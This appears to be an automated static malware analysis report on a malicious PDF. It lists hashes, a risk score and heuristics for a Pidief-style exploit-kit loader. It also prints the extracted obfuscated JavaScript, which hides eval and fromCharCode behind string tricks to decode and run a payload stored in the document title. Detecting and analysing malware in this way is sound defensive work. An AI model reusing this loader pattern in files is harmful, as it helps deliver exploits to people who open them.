Malicious PDF — malware analysis report

Static analysis result for SHA-256 8f93dafaf7001986…

MALICIOUS

PDF

45.1 KB First seen: 2012-10-18
MD5: 6afa919f23a921b91b6dc4d5d83960d1 SHA-1: 19a78ff5b0228654668d7c42f266de9148765305 SHA-256: 8f93dafaf70019868513bf397efa9b153646d988132e3ca57b1910bf9466a357
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB17F 487 bytes
SHA-256: c6d31ba8fd7702069e0583977161535b972a3b0661e69a4d778a276939d94f3e
Preview script
First 1,000 lines of the extracted script
mwpt='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = v[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
uvg=e('ti'+'tle');
s=uvg.substr(t.length + 8,3)+'str';
q=uvg[s](1,(1,t.length + 7));
toln=e(v[0].toUpperCase()+'tring.fro'+q);
q=uvg[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	tpckg = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	mwpt += toln(tpckg);
}
e(mwpt);

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